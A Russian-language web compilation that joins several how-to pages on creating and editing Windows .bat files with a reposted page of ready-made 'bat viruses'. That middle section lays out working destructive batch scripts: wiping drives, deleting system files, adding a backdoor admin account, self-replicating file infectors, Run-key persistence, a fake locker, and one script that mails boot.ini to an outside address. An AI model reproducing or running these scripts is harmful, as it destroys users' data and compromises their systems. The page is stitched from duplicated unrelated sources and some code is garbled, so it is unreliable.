Как создать bat-файл (пакетный файл)
В этой статье рассмотрим два способа создания bat-файла: с помощью Проводника и с помощью Блокнота. Этого будет достаточно, чтобы создавать новые bat-файлы, но сперва определимся, для чего они нужны. Если совсем просто, то bat-файл нужен для того, чтобы один раз записать набор команд для командной строки Windows, а затем выполнять их в любое время не набирая каждый раз. В общем, идеальный вариант для ленивых и/или системных администраторов. =)
Сразу перейду к делу:
Способ первый. Создаём bat-файл в «Проводнике»
Сразу оговорюсь, что для этого способа нужно, чтобы было включено отображение расширение файлов в «Проводнике». Это удобно во многих случаях и я не понимаю, почему по умолчанию эта фишка отключена в Windows.
Итак, создаём текстовый файл в «Проводнике»:
Меняем его расширение (то, что после последней точки) на .
:
После того, как нажмём на Enter, Windows поинтересуется «После изменения расширения этот файл может оказаться недоступным. Выполнить изменение?». Ну конечно «Да»! Именно этого мы и добиваемся: сменить расширение .txt
на .bat
:
Вуаля! Мы получили «батник», т.е. исполняемый файл, в который можно вписать команды, которые будут выполняться при его запуске:
Способ второй. Создаём bat-файл в «Блокноте»
Чтобы создать bat-файл с помощью «Блокнота», нужно открыть «Блокнот» (или любой текстовый файл в «Блокноте») и воспользоваться меню «Файл», опция «Сохранить как…»:
Откроется окно сохранения файла. Тут важно учесть 2 вещи:
- «Тип файла» должен быть выставлен на Все файлы (*.*)
- «Имя файла» должно иметь расширение
. bat
Смотрим, куда сохраняем (чтобы потом найти) и жмём кнопку «Сохранить»:
Получаем ещё один bat-файл =)
Итого:
Любой их этих способов имеет смысл, если есть права администратора. Но первый требует дополнительных настроек (которые я рекомендую всё-таки поменять и применить).
Заберите ссылку на статью к себе, чтобы потом легко её найти 😉
Выберите, то, чем пользуетесь чаще всего:
Спасибо за внимание, оставайтесь на связи! Ниже ссылка на форум и обсуждение ; )
Как создать bat-файл (пакетный файл)
В этой статье рассмотрим два способа создания bat-файла: с помощью Проводника и с помощью Блокнота. Этого будет достаточно, чтобы создавать новые bat-файлы, но сперва определимся, для чего они нужны. Если совсем просто, то bat-файл нужен для того, чтобы один раз записать набор команд для командной строки Windows, а затем выполнять их в любое время не набирая каждый раз.
Сразу перейду к делу:
Способ первый. Создаём bat-файл в «Проводнике»
Сразу оговорюсь, что для этого способа нужно, чтобы было включено отображение расширение файлов в «Проводнике». Это удобно во многих случаях и я не понимаю, почему по умолчанию эта фишка отключена в Windows.
Итак, создаём текстовый файл в «Проводнике»:
Меняем его расширение (то, что после последней точки) на .bat
:
После того, как нажмём на Enter, Windows поинтересуется «После изменения расширения этот файл может оказаться недоступным. Выполнить изменение?». Ну конечно «Да»! Именно этого мы и добиваемся: сменить расширение .txt
на .bat
:
Вуаля! Мы получили «батник», т.е. исполняемый файл, в который можно вписать команды, которые будут выполняться при его запуске:
Способ второй. Создаём bat-файл в «Блокноте»
Чтобы создать bat-файл с помощью «Блокнота», нужно открыть «Блокнот» (или любой текстовый файл в «Блокноте») и воспользоваться меню «Файл», опция «Сохранить как…»:
Откроется окно сохранения файла. Тут важно учесть 2 вещи:
- «Тип файла» должен быть выставлен на Все файлы (*.*)
- «Имя файла» должно иметь расширение
.bat
Смотрим, куда сохраняем (чтобы потом найти) и жмём кнопку «Сохранить»:
Получаем ещё один bat-файл =)
Итого:
Любой их этих способов имеет смысл, если есть права администратора. Но первый требует дополнительных настроек (которые я рекомендую всё-таки поменять и применить).
Заберите ссылку на статью к себе, чтобы потом легко её найти 😉
Выберите, то, чем пользуетесь чаще всего:
Спасибо за внимание, оставайтесь на связи! Ниже ссылка на форум и обсуждение ; )
Как изменить (редактировать) bat-файл (пакетный файл)
Первый способ редактирования bat-файла (открываем в Проводнике из контекстного меню)
Если кликнуть по иконке или по имени bat-файла правой кнопкой мыши, то выпадет контекстное меню. Как уже становится очевидным, для того, чтобы изменить bat-файл, нужно выбрать опцию «Изменить». После этого откроется текстовый редактор, в котором можно будет внести изменения и сохранить их. По умолчанию в Windows для этого открывается «Блокнот»:
Второй способ открытия bat-файла для редактирования (перетаскиваем из Проводника в текстовый редактор)
Этот способ требует большего числа манипуляций и большего мастерства владения мышкой. Итак:- Открываем «Блокнот»
- Открываем «Проводник»
- Находим в «Проводнике» наш bat-файл, который будем редактировать
- Кликаем по нему левой кнопкой мыши и не отпускаем её, а тащим файл в окно «Блокнота»
- Отпускаем левую кнопку мыши, когда курсор будет в окне «Блокнота» (на конце курсора будет нарисован
+
в квадрате)
В общем, как-то так, как показано на картинке: =D
Третий способ редактирования bat-файла (средствами текстового редактора «Блокнот»)
Ну тут всё просто и понятно. После того, как «Блокнот» открыт, можно зайти в его меню «Файл» и выбрать опцию «Открыть» (или просто нажать Ctrl
+ O
):
Дальше будет небольшая хитрость 😉
Находим папку, в которой лежит наш батник
Итог:
Любой из описанных способов приведёт к открытию bat-файла в текстовом редакторе, в котором можно будет внести в него изменения. Обязательно после того, как изменения были внесены, нужно их сохранить. Для этого также нужно обратить внимание, чтобы стояла выбранной опция «Все файлы (*.*)» (иначе, наш «Блокнот» может сохранить изменённый файл, как текстовый, то есть с расширением .txt
, а оно нам не надо, надо с расширением .bat
).
Так и вносятся правки в bat-фалы — никакой магии. Надеюсь, что всё понятно. =)
Заберите ссылку на статью к себе, чтобы потом легко её найти 😉
Выберите, то, чем пользуетесь чаще всего:
Спасибо за внимание, оставайтесь на связи! Ниже ссылка на форум и обсуждение ; )
Чем открыть формат BAT? Программы для чтения BAT файлов
BATЕсли вы не смогли открыть файл двойным нажатием на него, то вам следует скачать и установить одну из программ представленных ниже, либо назначить программой по-умолчанию, уже установленную (изменить ассоциации файлов). Наиболее популярным программным обеспечением для даного формата является программа Microsoft Windows Command Prompt (для ОС Windows) и программа Parallels Desktop for Mac (для ОС Mac) — данные программы гарантированно открывают эти файлы. Ниже вы найдете полный каталог программ, открывающих формат BAT для операционной системы Windows, Mac.
Программы для открытия BAT файлов
Чем открыть BAT в Windows? MacОбщее описание расширения
Формат файла BAT относится к расширениям из категории Исполняемые форматы, его полное название — DOS Batch File.BAT файл является командным файлом DOS, который производит выполнение команд посредством командной строки Windows под названием «cmd. exe». Файл расширением BAT представляет из себя обычный текстовый файл, который был сохранен с расширением .bat. В операционных системах MS Dos и Windows, данный тип файла распознаётся в качестве пакетного файла. Таким образом, формат файла BAT применяет скриптовый язык программирования и работает как командный файл.
Узнать подробнее что такое формат BAT
Что еще может вызывать проблемы с файлом?
Наиболее часто встречаемой проблемой, из-за которой пользователи не могут открыть этот файл, является неверно назначенная программа. Чтобы исправить это в ОС Windows вам необходимо нажать правой кнопкой на файле, в контекстном меню навести мышь на пункт «Открыть с помощью», а выпадающем меню выбрать пункт «Выбрать программу…». В результате вы увидите список установленных программ на вашем компьютере, и сможете выбрать подходящую. Рекомендуем также поставить галочку напротив пункта «Использовать это приложение для всех файлов BAT».
Другая проблема, с которой наши пользователи также встречаются довольно часто — файл BAT поврежден. Такая ситуация может возникнуть в массе случаев. Например: файл был скачан не польностью в результате ошибки сервера, файл был поврежден изначально и пр. Для устранения данной проблемы воспользуйтесь одной из рекомендаций:
- Попробуйте найти нужный файл в другом источнике в сети интернет. Возможно вам повезет найти более подходящую версию. Пример поиска в Google: «Файл filetype:BAT». Просто замените слово «файл» на нужное вам название;
- Попросите прислать вам исходный файл еще раз, возможно он был поврежден при передаче;
Знаете другие программы, которые могут открыть BAT? Не смогли разобраться как открыть файл? Пишите в комментариях — мы дополним статью и ответим на ваши вопросы.
Команды Для Bat-вирусов / Готовые Bat Вирусы | GuardianeLinks
Простенькие вирусы:
Убирает рабочий стол
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
Выключается компьютер
@echo off
shutdown -s -t 1 -c «lol» >nul
Перезагрузка компьютера
@echo off
shutdown -r -t 1 -c «lol» >nul
Запрещает запускать программы
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer. exe /f >nul
Удаление дров
@echo off
del «%SystemRoot%\Driver Cache\i386\driver.cab» /f /q >nul
Удаляет звуки Windows
@echo off
del «%SystemRoot%\Media» /q >nul
Запрещает заходить в панель управления
@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul
Запрещает комбинацию Ctrl-Alt-Delete
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
Меняет местами значение кнопок мыши
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
Удаляет курсор мыши
del «%SystemRoot%Cursors*.*» >nul
Меняет название корзины
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F
Убирает панель управления
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Серьезные вирусы:
Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)
rd [Буква_Диск]: /s /q
Удаляет все файлы в program files
del c:Program Files/q
Убивает процесс explorer. exe
taskkill /f /im explorer.exe >nul
Создает миллион папок
FOR /L %%i IN (1,1,1000000) DO md %%i
Удаляет все драйвера, которые установлены на компьютере
del «%SystemRoot%Driver Cachei386driver.cab» /f /q >nul
Удаляет команду DEL
del %0
Будет открывать бесконечно Paint
😡
Start mspaint
goto x
Изменяет расширение всех ярлыков на .txt
assoc .lnk=.txt
Заражает Autoexec
copy «»%0″» «%SystemRoot%\system32\batinit.bat» >nul
reg add «HKCU\SOFTWARE\Microsoft\Command Processor» /v AutoRun /t REG_SZ /d «%SystemRoot%\syste m32\batinit.bat» /f >nul
Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)
@echo off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add «HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList» /v «support» /t reg_dword /d 0 y
сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,disableoemlayer
Меняет местами кнопки мыши,но обратная смена не возможна)
rundll32 user,SwapMouseButton
Удаляет ядро системы
del %systemroot%\system32\HAL.dll
Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)
@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find «MrWeb»<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
Вирус заражает *.JPG в текущем каталоге
@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find «MrWeb»<%0>c:\MrWeb. bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
Жестокие вирусы:
У вашего ламера будет глючить компьютер.
@echo off
echo Set fso = CreateObject(«Scripting.FileSystemObject») > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile(«%systemdrive%\windows\system32\rundll32.dat», True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile «%systemdrive%\windows\system32\rundll32.dat» >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32. vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f
Вирус который убивает Винду. Не проверяйте на своем компьютере=)
@echo This virus created by LIZA
@echo Virus: pcforumhack.ru™ Virus
@echo Autor: LIZA
@echo off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject(«Wscript.Shell») >> %temp%\temp.vbs
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%\temp.vbs
reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0
copy %¶§% %SystemRoot%\user32dll. bat
reg add «hklm\Software\Microsoft\Windows\CurrentVersion\Run» /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoDrives /t REG_DWORD /d 67108863 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
echo fso.deletefile «C:\ntldr»,1 >> %temp%\temp.vbs
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoSelectDownloadDir» /d 1 /f
reg add «HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown» /v «IExplorer» /d 0 /f
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoFindFiles» /d 1 /f
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoNavButtons» /d 1 /f
echo fso.deletefolder «D:\Windows»,1 >> %temp%\temp.vbs
echo fso.deletefolder «I:\Windows»,1 >> %temp%\temp. vbs
echo fso.deletefolder «C:\Windows»,1 >> %temp%\temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs
echo fso.deletefile sr+»\system32\hal.dll»,1 >> %temp%\temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs
echo fso.deletefolder sr+»\system32\dllcache»,1 >> %temp%\temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs
echo fso.deletefolder sr+»\system32\drives»,1 >> %temp%\temp.vbs
echo s.regwrite «HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString»,»forum.whack.ru™»>>%temp%\temp.vbs
echo s.regwrite «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner»,»forum.whack.ru™»>>%temp%\temp.vbs
echo s.regwrite «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization»,»forum. whack.ru™»>>%temp%\temp.vbs
echo on error resume next > %temp%\temp1.vbs
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%\temp1.vbs
echo do>>%temp%\temp1.vbs
echo fso.getfile («A:\»)>>%temp%\temp1.vbs
echo loop>>%temp%\temp1.vbs
echo on error resume next > %temp%\temp2.vbs
echo Set S = CreateObject(«Wscript.Shell») >> %temp%\temp2.vbs
echo do>>%temp%\temp2.vbs
echo execute»S.Run «»%comspec% /c echo «» & Chr(7), 0, True»>>%temp%\temp2.vbs
echo loop>>%temp%\temp2.vbs
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System» /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System» /v disableregistrytools /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum» /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoNetworkConnections /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v StartmenuLogoff /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoCommonGroups /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSetFolders /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoAddPrinter /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoFind /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMHelp /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoRun /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoClose /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMMyDocs /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMMyPictures /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoControlPanel /t REG_DWORD /d 1 /f
echo set application=createobject(«shell. >= 1 then >> %temp%\temp.vbs
echo For i = 0 to colCDROMs.Count — 1 >> %temp%\temp.vbs
echo colCDROMs.Item(i).eject >> %temp%\temp.vbs
echo next >> %temp%\temp.vbs
echo End If >> %temp%\temp.vbs
echo Call SendPost(«smtp.mail.ru», «forum.whack.ru™@mail.ru», «[email protected]», «…», «Копм заражен!») >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject(«CDO.Message») >> %temp%\temp.vbs
echo Set iConf = CreateObject(«CDO.Configuration») >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item(«
echo Flds.Item(«») = 1 >> %temp%\temp.vbs
echo Flds.Item(«») = «support» >> %temp%\temp.vbs
echo Flds.Item(«») = «support» >> %temp%\temp.vbs
echo Flds.Item(«») = «smtp.mail.ru» >> %temp%\temp.vbs
echo Flds. Item(«») = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment «c:\boot.ini» >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs
echo s.run «shutdown -r -t 0 -c «»pcforumhack.ru™»» -f»,1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs
Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач. Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)
@echo off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус…
title Внимание!!!
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO «Shell»=»Explorer.exe, C:\\windows\\boot.bat » >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO @echo off >>C:\windows\boot.bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add «HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system» /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot. bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if «%choise%» == «101» goto gold
if «%choise%» == «200393» goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end
Добавляет программу в автозагрузку ОС
copy «»%0″» «%SystemRoot%\system32\File.bat»
reg add «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run» /v «Filel» /t REG_SZ /d «%SystemRoot%\system32\File.bat» /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
Этот вирус,блокирует все программы,но интернет работает.
@Echo off
Echo Virus Loading
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
Echo VIRUS LOAD
@echo off
chcp 1251
echo щаска…
color 4
@echo Вас собирается ~CENS~: ZhenyaZERO
@echo Автор вируса: ZhenyaZERO
@echo Условия: если вам попался этот файл, сразу его удаляйте. Этот файл был создан исключительно для ютуба. Использование этого видео в других целях запрещено.
pause
echo Этап 1: Создание ограничений
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32. dll,-8964 /t REG_SZ /d ТУТ Хавно там всякое /F
del c:Program Files/q
taskkill /f /im explorer.exe >nul
echo Этап 2: Ща комп начнет глючить
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
echo Set fso = CreateObject(«Scripting.FileSystemObject») > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile(«%systemdrive%\windows\system32\rundll32.dat», True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile «%systemdrive%\windows\system32\rundll32. dat» >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /
echo Этап 3: Прощай, винда!
del C:\ /s /q
del D:\ /s /q
del I:\ /s /q
Как создать пакетный файл с расширением BAT, командный исполняемый файл
BAT файл также называют батником или пакетным файлом. В системе Windows он представляет из себя текстовый документ, у которого есть расширение. Многих пользователей сегодня интересует, как можно создать BAT файл.
Что из себя представляет BAT файл
В BAT прописаны команды, которые необходимо исполнять, используя командную строчку. Когда он запускается, то одновременно происходит запуск программы CMD, считывающей команды с указанного файла и поочередно выполняющей их. Благодаря BAT файлу можно подвергнуть автоматизации множество процессов. В частности, можно исполнять запуск многих программ, копировать файлы, архивировать информацию и осуществлять многое другое. Поэтому пользователь должен знать, как создать БАТ документ самостоятельно, выполнять его корректировку и дополнение.
Такой метод способствует облегчению работы с командной строчкой, сохраняя необходимую последовательность. Естественно, можно осуществлять ввод всех команд сразу в командную строчку ручным способом. Но, если нужно повторять одни и те же операции, то значительно удобней это выполнять, если запускать файл и автоматически считывать перечень, который записан в качестве документа БАТ. Подобный вариант практичен и удобен и тем, что в дальнейшем последовательность можно менять, дополняя другими процессами, которые понадобятся пользователю, а также избавляться от тех, что не нужны.
Новичку, который только начинает осуществлять свою работу с командным интерпретатором, и использует его лишь изредка, хватит для своей деятельности и «Блокнота». Когда пользователь желает выйти на профессиональный уровень, то специалисты советуют использовать утилиту под названием Dr. Batcher. В такой программе можно выполнять нумерацию страничек. В утилите присутствует поддержка закладок, перечень системных команд, которые применяются в БАТ, а в отношении команд, что введены, осуществляется подсвечивание.
Как создать BAT файл
Чтобы создать BAT документ необходимо выполнить достаточно простые действия. Вначале понадобится выполнить запуск любого обычного текстового приложения, в частности, «Блокнота», осуществить ввод команд и произвести сохранение с расширением БАТ. Затем в папке, которая была указана во время сохранения файла, возникнет БАТ документ. Чтобы выполнить его запуск его необходимо два раза сделать клик по нему с помощью мышки.
Также можно сделать запуск и выполнение БАТ документ из командной строчки. Для этого необходимо осуществить следующие действия:
- выполнить ввод адреса;
- сделать клик кнопкой мышки, расположенной с правой стороны, по BAT документу и нажать на «Изменить» – это позволит создать bat файл
- После этого появится «Блокнот», где пользователь сможет редактировать собственный БАТ документ.
Если пользователь желает продолжить редактировать БАТ документ, в частности, прописать в нем другие команды, то для этого необходимо вновь запустить пакетный документ благодаря текстовой программе. Это удобно выполнить, используя контекстное меню.
Как создать пакетный файл (BAT) за пять простых шагов
Хотите создать командный файл? Это просто.
Пакетные файлы — это способ справиться с задачей компьютерного мастера. Они могут автоматизировать повседневные задачи, сократить время, необходимое для того, чтобы что-то сделать, и преобразовать сложный процесс в то, что может выполнять любой.
В этой статье вы узнаете, как написать простой командный файл.Вы узнаете основы того, что могут делать командные файлы и как их писать самостоятельно. Я также предоставлю вам дополнительные ресурсы для обучения написанию пакетных (BAT) файлов.
Как создать пакетный файл в Windows
Прежде чем вдаваться в подробности, вот краткое изложение
- Откройте текстовый файл, например, документ Блокнота или WordPad.
- Добавьте свои команды, начиная с @echo [off], затем — каждую в новой строке — title [название вашего пакетного скрипта], echo [первая строка] и пауза.
- Сохраните файл с расширением .bat , например test.bat .
- Чтобы запустить командный файл, дважды щелкните только что созданный BAT-файл.
- Чтобы отредактировать командный файл, щелкните правой кнопкой мыши BAT-файл и выберите Изменить .
Ваш необработанный файл будет выглядеть примерно так:
А вот соответствующее командное окно для примера выше:
Если это было слишком быстро или вы хотите узнать больше о командах и их использовании, читайте дальше!
Шаг 1. Создайте BAT-файл
